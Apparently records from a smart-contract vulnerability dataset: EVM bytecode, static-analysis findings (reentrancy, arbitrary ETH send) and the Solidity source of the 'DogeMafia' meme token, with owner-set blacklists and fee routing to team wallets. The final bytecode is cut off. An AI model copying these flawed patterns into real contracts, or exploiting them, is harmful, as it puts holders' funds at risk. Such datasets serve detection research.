0a01b03848116911614155b801561131457506001600160a01b03831660009081526004602052604090205460ff16155b156114e65760105460ff1661136b5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e0000000000000000604482015260640161084c565b600f54421415611399576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600d548211156113eb5760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e0000000000604482015260640161084c565b600e546113f7846108be565b6114019084611dab565b111561145f5760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b606482015260840161084c565b6001600160a01b03831660009081526006602052604090206001015460ff166114c7576040805180820182526000808252600160208084018281526001600160a01b03891684526006909152939091209151825591519101805460ff19169115159190911790555b506001600160a01b038216600090815260066020526040902042905560015b601054610100900460ff16158015611500575060105460ff165b801561151a57506009546001600160a01b03858116911614155b156116705761152a42600f611dab565b6001600160a01b0385166000908152600660205260409020541061159c5760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b606482015260840161084c565b60006115a7306108be565b905080156116595760105462010000900460ff161561162a57600c54600954606491906115dc906001600160a01b03166108be565b6115e69190611dc3565b6115f09190611de2565b81111561162a57600c5460095460649190611613906001600160a01b03166108be565b61161d9190611dc3565b6116279190611de2565b90505b6000611637600683611de2565b90506116438183611cc6565b915061164e8161187d565b61165782611709565b505b47801561166957611669476116cf565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff16806116b257506001600160a01b03841660009081526004602052604090205460ff165b156116bb575060005b6116c885858584866118ad565b5050505050565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156107ec573d6000803e3d6000fd5b6010805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061174d5761174d611cdd565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156117a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117ca9190611d43565b816001815181106117dd576117dd611cdd565b6001600160a01b0392831660209182029290920101526007546118039130911684610fdf565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac9479061183c908590600090869030904290600401611e04565b600060405180830381600087803b15801561185657600080fd5b505af115801561186a573d6000803e3d6000fd5b50506010805461ff001916905550505050565b6010805461ff001916610100179055801561189f5761189f3061dead83611103565b506010805461ff0019169055565b60006118b983836118cf565b90506118c7868686846118f3565b505050505050565b60008083156118ec5782156118e75750600a546118ec565b50600b545b9392505050565b60008061190084846119d0565b6001600160a01b0388166000908152600260205260409020549193509150611929908590611cc6565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611959908390611dab565b6001600160a01b03861660009081526002602052604090205561197b81611a04565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119c091815260200190565b60405180910390a3505050505050565b6000808060646119e08587611dc3565b6119ea9190611de2565b905060006119f88287611cc6565b96919550909350505050565b30600090815260026020526040902054611a1f908290611dab565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611a5f57858101830151858201604001528201611a43565b81811115611a71576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146108bb57600080fd5b8035611aa781611a87565b919050565b60008060408385031215611abf57600080fd5b8235611aca81611a87565b946020939093013593505050565b60008060408385031215611aeb57600080fd5b50508035926020909101359150565b600080600060608486031215611b0f57600080fd5b8335611b1a81611a87565b92506020840135611b2a81611a87565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611b6457600080fd5b823567ffffffffffffffff80821115611b7c57600080fd5b818501915085601f830112611b9057600080fd5b813581811115611ba257611ba2611b3b565b8060051b604051601f19603f83011681018181108582111715611bc757611bc7611b3b565b604052918252848201925083810185019188831115611be557600080fd5b938501935b82851015611c0a57611bfb85611a9c565b84529385019392850192611bea565b98975050505050505050565b600060208284031215611c2857600080fd5b81356118ec81611a87565b600060208284031215611c4557600080fd5b5035919050565b80151581146108bb57600080fd5b600060208284031215611c6c57600080fd5b81356118ec81611c4c565b60008060408385031215611c8a57600080fd5b8235611c9581611a87565b91506020830135611ca581611a87565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611cd857611cd8611cb0565b500390565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611d0757611d07611cb0565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611d5557600080fd5b81516118ec81611a87565b600080600060608486031215611d7557600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611da057600080fd5b81516118ec81611c4c565b60008219821115611dbe57611dbe611cb0565b500190565b6000816000190483118215151615611ddd57611ddd611cb0565b500290565b600082611dff57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e545784516001600160a01b031683529383019391830191600101611e2f565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220e996bb142a6a88a2309c5222c54e98ae499c6abe878d24a8655ba9788a71a05c64736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,494
0xd4248b037dc12d3dfec7da2f42174f94a02a438d
/** */ // We present to you.. the notorious... the fearless... the most ruthless organised crime ring: // The Doge Mafia! // https://t.me/DogeMafia // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract DogeMafia is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private bots; mapping (address => uint) private cooldown; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "The Doge Mafia"; string private constant _symbol = 'DogeMafia'; uint8 private constant _decimals = 9; uint256 private _taxFee = 5; uint256 private _teamFee = 10; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) public { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 4250000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061161e565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117cd565b6040518082815260200191505060405180910390f35b60606040518060400160405280600e81526020017f54686520446f6765204d61666961000000000000000000000000000000000000815250905090565b600061076b610764611854565b848461185c565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a53565b6108548461079f611854565b61084f85604051806060016040528060288152602001613d0c60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611854565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461227e9092919063ffffffff16565b61185c565b600190509392505050565b610867611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611854565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf8161233e565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612439565b90505b919050565b610bd5611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f446f67654d616669610000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611854565b8484611a53565b6001905092915050565b610ddf611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611854565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e816124bd565b50565b610fa9611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061185c565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506001601360176101000a81548160ff021916908315150217905550673afb087b876900006014819055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115df57600080fd5b505af11580156115f3573d6000803e3d6000fd5b505050506040513d602081101561160957600080fd5b81019080805190602001909291905050505050565b611626611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673f